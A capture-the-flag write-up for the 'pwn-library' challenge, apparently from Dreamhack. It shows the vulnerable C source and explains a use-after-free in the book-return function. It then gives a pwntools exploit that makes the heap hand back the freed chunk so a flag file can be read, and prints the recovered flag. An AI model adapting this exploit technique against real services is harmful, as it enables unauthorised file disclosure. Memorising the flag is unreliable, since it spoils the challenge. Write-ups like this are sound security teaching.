pwn-library
Enumeration
Reading the source code reveals its mechanics.
- In case 1, the program allocates new memory to
listbook[booksize].contents
. - In case 2, the program reads string from
listbook[select].contents
. - In case 3, the program frees memory from
listbook[booksize-1].contents
. - In case 0x113, the program writes the file contents into
secretbook.contents
.
┌──(m0nk3y@kali)-[~/DH/pwn-library]
└─$ cat library.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct bookstruct{
char bookname[0x20];
char* contents;
};
__uint32_t booksize;
struct bookstruct listbook[0x50];
struct bookstruct secretbook;
void booklist(){
printf("1. theori theory\n");
printf("2. dreamhack theory\n");
printf("3. einstein theory\n");
}
int borrow_book(){
if(booksize >= 0x50){
printf("[*] book storage is full!\n");
return 1;
}
__uint32_t select = 0;
printf("[*] Welcome to borrow book menu!\n");
booklist();
printf("[+] what book do you want to borrow? : ");
scanf("%u", &select);
if(select == 1){
strcpy(listbook[booksize].bookname, "theori theory");
listbook[booksize].contents = (char *)malloc(0x100);
memset(listbook[booksize].contents, 0x0, 0x100);
strcpy(listbook[booksize].contents, "theori is theori!");
} else if(select == 2){
strcpy(listbook[booksize].bookname, "dreamhack theory");
listbook[booksize].contents = (char *)malloc(0x200);
memset(listbook[booksize].contents, 0x0, 0x200);
strcpy(listbook[booksize].contents, "dreamhack is dreamhack!");
} else if(select == 3){
strcpy(listbook[booksize].bookname, "einstein theory");
listbook[booksize].contents = (char *)malloc(0x300);
memset(listbook[booksize].contents, 0x0, 0x300);
strcpy(listbook[booksize].contents, "einstein is einstein!");
} else{
printf("[*] no book...\n");
return 1;
}
printf("book create complete!\n");
booksize++;
return 0;
}
int read_book(){
__uint32_t select = 0;
printf("[*] Welcome to read book menu!\n");
if(!booksize){
printf("[*] no book here..\n");
return 0;
}
for(__uint32_t i = 0; i<booksize; i++){
printf("%u : %s\n", i, listbook[i].bookname);
}
printf("[+] what book do you want to read? : ");
scanf("%u", &select);
if(select > booksize-1){
printf("[*] no more book!\n");
return 1;
}
printf("[*] book contents below [*]\n");
printf("%s\n\n", listbook[select].contents);
return 0;
}
int return_book(){
printf("[*] Welcome to return book menu!\n");
if(!booksize){
printf("[*] no book here..\n");
return 1;
}
if(!strcmp(listbook[booksize-1].bookname, "-----returned-----")){
printf("[*] you alreay returns last book!\n");
return 1;
}
free(listbook[booksize-1].contents);
memset(listbook[booksize-1].bookname, 0, 0x20);
strcpy(listbook[booksize-1].bookname, "-----returned-----");
printf("[*] lastest book returned!\n");
return 0;
}
int steal_book(){
FILE *fp = 0;
__uint32_t filesize = 0;
__uint32_t pages = 0;
char buf[0x100] = {0, };
printf("[*] Welcome to steal book menu!\n");
printf("[!] caution. it is illegal!\n");
printf("[+] whatever, where is the book? : ");
scanf("%144s", buf);
fp = fopen(buf, "r");
if(!fp){
printf("[*] we can not find a book...\n");
return 1;
} else {
fseek(fp, 0, SEEK_END);
filesize = ftell(fp);
fseek(fp, 0, SEEK_SET);
printf("[*] how many pages?(MAX 400) : ");
scanf("%u", &pages);
if(pages > 0x190){
printf("[*] it is heavy!!\n");
return 1;
}
if(filesize > pages){
filesize = pages;
}
secretbook.contents = (char *)malloc(pages);
memset(secretbook.contents, 0x0, pages);
__uint32_t result = fread(secretbook.contents, 1, filesize, fp);
if(result != filesize){
printf("[*] result : %u\n", result);
printf("[*] it is locked..\n");
return 1;
}
memset(secretbook.bookname, 0, 0x20);
strcpy(secretbook.bookname, "STOLEN BOOK");
printf("\n[*] (Siren rangs) (Siren rangs)\n");
printf("[*] Oops.. cops take your book..\n");
fclose(fp);
return 0;
}
}
void menuprint(){
printf("1. borrow book\n");
printf("2. read book\n");
printf("3. return book\n");
printf("4. exit library\n");
}
void main(){
__uint32_t select = 0;
printf("\n[*] Welcome to library!\n");
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1){
menuprint();
printf("[+] Select menu : ");
scanf("%u", &select);
switch(select){
case 1:
borrow_book();
break;
case 2:
read_book();
break;
case 3:
return_book();
break;
case 4:
printf("Good Bye!");
exit(0);
break;
case 0x113:
steal_book();
break;
default:
printf("Wrong menu...\n");
break;
}
}
}
Exploitation
Since the pointer listbook[booksize-1].contents
is not properly handled after free()
, it creates an UAF vulnerability.
One thing to note here is that in order to view the flag using read_book
, the address assigned to listbook[booksize].contents
using borrow_book
and the address assigned to secretbook.contents
using steal_book
needs to be the same.
In order to achieve this, I’ll first assign 0x100 bytes of space to listbook[booksize].contents
, free it, and then assign 0x100 bytes of space once more, this time to stealbook.contents
.
By doing so, both usage of malloc will start from the same stack pointer and secure the same amount of space, resulting in the assignment of the same address.
With these information, I’ll write a python script which will read the flag.
┌──(m0nk3y@kali)-[~/DH/pwn-library]
└─$ cat exploit.py
import sys
from pwn import *
client= remote(sys.argv[1], int(sys.argv[2]))
# Select borrow_book
client.recvuntil('[+]')
client.sendline(str(1))
# Select book of size 0x100
client.recvuntil('[+]')
client.sendline(str(1))
# Select return_book
client.recvuntil('[+]')
client.sendline(str(3))
# Select steal_book
client.recvuntil('[+]')
client.sendline(str(int(0x113)))
# Select file
client.recvuntil('[+]')
client.sendline('/home/pwnlibrary/flag.txt')
# Select size
client.recvuntil('MAX')
client.sendline(str(int(0x100)))
# Select read_book
client.recvuntil('[+]')
client.sendline(str(2))
# Select UAF book
client.recvuntil('[+]')
client.sendline(str(0))
client.recv()
flag= client.recv()
print(flag.split('\n')[1])
Post Exploitation
I’m able to read the flag by executing the exploit.
┌──(m0nk3y@kali)-[~/DH/pwn-library]
└─$ python2 exploit.py host1.dreamhack.games 11383
[+] Opening connection to host1.dreamhack.games on port 11383: Done
DH{0fdbcef449355e5fb15f4a674724a3c8}
[*] Closed connection to host1.dreamhack.games port 11383